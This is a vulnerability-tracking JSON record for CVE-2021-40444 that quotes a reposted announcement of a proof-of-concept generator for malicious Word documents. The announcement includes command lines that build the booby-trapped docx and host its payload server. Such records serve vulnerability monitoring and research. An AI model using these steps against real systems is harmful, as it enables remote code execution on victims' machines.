{"uuid": "6e63f5ae-e4d6-414c-8dea-58e74f72335c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40444", "type": "seen", "source": "https://t.me/hacking_Attack/23918", "content": "KitPloit - PenTest Tools!CVE-2021-40444 PoC - Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution) \n\n\n\n\n\nMalicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)\n\n\n\n\nCreation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)\n\nYou need to install lcab first (sudo apt-get install lcab)\n\nCheck REPRODUCE.mdfor manual reproduce steps\n\nIf your generated cab is not working, try pointing out exploit.html URL to calc.cab\n\nUsing\n\nFirst generate a malicious docx document given a DLL, you can use the one at test/calc.dllwhich just pops a calc.exefrom a call to system()\n\npython3 exploit.py generate test/calc.dll http://\n\n\n\n\n\n\n\n\n\nOnce you generate the malicious docx (will be at out/) you can setup the server:\n\nsudo python3 exploit.py host 80\n\n\n\n\n\n\n\n\n\nFinally try the docx in a Windows Virtual Machine:\n\n\n\n \n\n\nDownload CVE-2021-40444", "creation_timestamp": "2026-09-01T20:02:24.165019Z"}